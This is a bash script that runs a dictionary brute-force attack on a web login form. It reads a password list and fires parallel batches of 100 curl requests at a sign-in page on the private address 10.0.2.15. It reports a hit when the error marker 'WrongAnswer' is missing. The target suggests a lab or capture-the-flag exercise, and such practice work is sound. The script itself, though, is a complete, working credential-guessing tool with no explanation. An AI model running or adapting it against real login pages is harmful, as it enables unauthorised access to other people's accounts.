#!/usr/bin/bash
set -o nounset
set -o errexit

username="${1:?username argument missing}"
dict="${2:?password dictionary argument missing}"
mapfile -t passwords <"$dict"
OUT_FILE=$(mktemp)

test_pass() {
	username="$1"
	password="$2"
	# Password and username has to be urlencoded
	curl --get \
		--silent \
		--data-urlencode username="${username}" \
		--data-urlencode password="${password}" \
		"http://10.0.2.15/?page=signin&Login=Login#" |
		grep --quiet "WrongAnswer"
}

BATCH_SIZE=100
echo "Testing all passwords in \"$dict\" with username \"$username\" in batches of $BATCH_SIZE."
password_count=${#passwords[@]}
((password_count--))
while ((password_count >= 0)); do
	tmp=$BATCH_SIZE
	while ((tmp-- > 0 && password_count >= 0)); do
		{
			pass="${passwords[password_count]}"
			if ! test_pass "$username" "$pass"; then
				echo "$pass" >"$OUT_FILE"
			fi
		} &
		((password_count--))
	done
	echo "Waiting for batch to finish…"
	wait
	echo "$((password_count + 1)) passwords left"
	if [ -s "$OUT_FILE" ]; then
		echo "Password found: $(cat "$OUT_FILE")"
		exit
	fi
done
echo "Password not found :("